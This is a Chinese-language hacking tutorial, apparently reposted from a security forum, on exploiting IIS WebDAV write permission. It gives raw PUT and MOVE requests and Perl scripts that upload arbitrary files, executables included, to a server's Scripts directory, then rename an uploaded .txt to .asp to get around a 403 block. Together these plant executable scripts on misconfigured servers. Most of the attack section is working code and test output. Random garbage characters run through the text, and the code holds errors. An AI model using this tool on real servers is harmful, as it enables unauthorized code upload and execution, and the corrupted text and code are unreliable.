对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

3 V* K: S( L H- U! X R% Q' y

写权限

) A0 T, O! c% j$ l

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

0 g, _7 o2 |% T- Z" l2 e

. ]; G( i* ]! N X0 X4 DPUT /dir/my_file.txt HTTP/1.1 . D/ v& n# l9 E* p3 I2 s5 A; ^# [- WHost: iis-server . M0 u; j0 G: P: I. C0 KContent-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

+ R, k- K+ T- y, \" ]1 nHTTP/1.1 100 Continue # \4 l5 @$ d& W4 ZServer: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:00 GMT

, t% u/ S' z& @. q5 A2 |

　　接着，我们输入10个字母：

4 x" y' H( W- d5 a6 t# T

AAAAAAAAAA

/ H" L! b4 I- [

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

/ U3 e* A4 G" |% H0 ]7 X

5 @! e6 b9 C& I: n$ E" ~HTTP/1.1 201 Created 8 |3 ~$ y0 M+ |* n# U7 QServer: Microsoft-IIS/5.0 5 c2 V0 d$ p: E/ aDate: Thu, 28 Feb 2002 15:56:08 GMT * d$ ]& a6 f* Z' l) V aLocation: http://iis-server/dir/my_file.txt Content-Length: 0 9 I6 }1 }7 f3 dAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

. R- {( _# [. t

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

& I5 c! |+ ?: Z& }+ q& _

* d% j' K, i, W/ B$ xPUT /dir/my_file.txt HTTP/1.1 + a" l v" \' j/ M& YHost: iis-server Content-Length: 10

1 I" p9 @0 i4 G2 s& z

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 5 m5 A3 m3 M- ?, j0 }　　Host：是HTTP请求的发送地址 7 Q+ y7 d4 j( j. r% ?; T6 w　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

# {! r2 Q' L& A9 X, N$ v

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

* m' k# K# Z4 \5 J7 n8 V / M" b. C# ?( x8 _5 [# }0 H

#!/usr/bin/perl ; P3 G$ E+ Q2 Iuse I:Socket; " O0 ?# y) M2 k/ I$ARGC = @ARGV;

if ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; . H- O( S3 R, u6 v; M/ I. G0 j　　exit; } 3 c& O# Y7 h% Z& J$host = @ARGV[0]; $port = @ARGV[1]; 5 ^. e9 n/ L+ u3 R8 B$file = @ARGV[2]; 9 W, z6 [( y6 s. v/ P1 {* B- F$path = @ARGV[3];

1 M8 A: [1 f6 Y9 m" @

@s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", 1 o* Y% t2 Q# J" v+ b- E1 RPeerAddr =>$host, 3 N' c) R0 L' p F7 SPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; 7 @ a, Y' Q# m4 G. y; Fprint $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; #sock连接

) y# b Y+ T. E: g& \4 D. V) Q2 W

open(FILE,"$file"); 3 W6 S: O- A% M8 Abinmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 8 A/ H: N, ?/ e: P# F　　print $sock "$char"; } 4 O" ]3 z: w, e/ }# o! R# m- I3 ?print $sock "\n\n"; & p; X! N" Q/ J* v@req = <$sock>; 6 D( m' I$ v# J4 ^" Aprint "please wait...\n"; 8 r1 T; ]. W7 B6 x. qsleep(2); % s# B: }3 n7 ^, q/ s9 E, \; Zif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 7 m4 f: C" m" H} 3 R- l5 P; U/ o8 ~: `' e% N; Lelse{ 5 V ^! R4 O+ G' k　　print "upfile faile!!!\n\n"; ! j, `1 F5 t; Q# ^) f* u　　print @req;#如果失败显示返回错误 } 8 @: {6 P' G M, n/ a4 k9 `close $sock; ) J' b/ I9 q' N7 f0 c% A! Jclose FILE;

; Q- w0 |! o" M) q

　　下面我们测试下：

! c5 S# A2 |' i3 K9 S" O+ ^

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes please wait... upfile Succeed!!!

' S% w0 b- C' o9 Y w4 A, m

C:\Inetpub\Scripts>dir kaka.txt % K3 E% J K% C+ j0 ]驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

0 Y J# S" H( v' n

2004-05-05 00:37 14 kaka.txt ! z# Z, k: B4 r# ^1 个文件 14 字节 & _0 n- F7 B% B, v: z; [0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes . P* n6 S; Z' Pplease wait... upfile Succeed!!!

5 u4 V2 E& k$ ?; D8 R4 \8 s! U! k

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 5 j; d& i `; \/ I卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

" k- u, q' P- i

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

1 P" v6 L2 g( o6 a& ^4 |# `

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp 8 |. i2 S7 u$ m1 F. t4 `0 }kaka.asp size is 4 bytes please wait... upfile faile!!!

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

9 c5 A: Q! h4 l# i$ ]2 b! `

HTTP/1.1 403 Forbidden % }/ o) R6 i+ nServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT - a- v1 z, Q& p6 H5 V+ U% XConnection: close . Y Y* B: y/ cContent-Type: text/html . d! _# h3 e, K! V5 p+ cContent-Length: 44

- |- l3 ~% h5 s' E M6 w8 D! T

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

" I, K" |0 Y# b6 c& y

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

: Y; n0 G3 Z6 T" e/ E1 U

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

5 _; R S: Y; B3 f9 D

! a, e1 R2 r/ V/ t0 { Y& t/ `: { 9 O9 M o; ]: y0 z

D:\>nc 127.0.0.1 80 " Y4 ~7 U8 N; D' hMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Sun, 05 Oct 2003 09:30:59 GMT . M- }2 `1 r" `0 Y! cLocation: http://127.0.0.1/scripts/x.asp 8 g& C" q- z% w' zContent-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

% |. o. S' ~/ V* u9 w: x- |0 X

9 K# J* O' E/ M! c7 P1 e % X" o) s" G# x' T- L

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp O. [2 o v% x$ O# }; W************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> 8 g* d% S+ Y4 U4 L************************************************************ ' ~4 N6 P( c) E& ikaka.asp size is 4 bytes please wait... upfile Succeed!!! Modifyfile Succeed!!!

. B5 V4 N+ ^, K& M, v/ ^5 p

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

4 ^. d3 y/ G. j7 A1 d

* e R( `9 U% U7 C+ h % N1 m; c2 M4 i; C% V/ x4 m# R

#!/usr/bin/perl " r% k3 Q4 L" D# k( m q#The iiswrite Script

use I:Socket; $ARGC = @ARGV; ( J) \7 K, }4 c% A1 Pprint "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; 5 y! P, c5 D4 Y0 o9 ?& n: yprint "*" x 60,"\n"; if ($ARGC != 4) { ) U4 u/ t r- g　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 8 Q2 ^) v( _3 \& A$ r* e　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; 9 A, B' b( ]9 t9 U+ T. n$path = @ARGV[3]; $file = @ARGV[2];

4 R! u% L B: M ^5 n# c

@path=split("/",$path); : c L" ~9 N6 Y& M$ Q$any = pop(@path); $path1=join("/",@path); @s=stat("$file"); 6 u# f( v) h0 t6 A$size = $s[7];

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", 4 _; p1 Y" d( m1 k- ]6 ^5 \' y) |PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; binmode(FILE); while (read(FILE,$char,1024)) { s, ^1 F9 ?5 _5 ]3 y# Z7 t% G　　print $sock "$char"; ; X/ D9 X6 B: J9 {" {, E8 R. Q$ q} ! f% T$ R" x$ ]4 L5 I5 pprint $sock "\n\n"; @req = <$sock>; 4 E+ X. z s# i( Q& E9 o- jprint "please wait...\n"; sleep(2); , r# R4 y' U) j, Z5 m# Rif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; 5 p" D+ a5 Z" }5 Q" z} else{ [& n2 Z. k1 b: W　　print "upfile faile!!!\n"; " k, U9 s. c: C+ z/ w} close $sock; ( z( f) _/ z% f& G1 O. s6 Eclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, / U0 @/ S7 K5 `, l" qPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; . p1 Y8 t6 N3 L" u+ Uprint $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; , t. u" |8 }" x3 h1 b@req = <$sock>; 2 ^" N. e* X! L1 a z! R5 m) s$ Wif ($req[0]=~/20\d+|/){ % s# L/ F5 u1 o, G　　print "Modifyfile Succeed!!!" ; } 5 C1 o. f" N6 S0 ^else{ 　　print "upfile faile!!!"; / y" [ k( j8 M} close $sock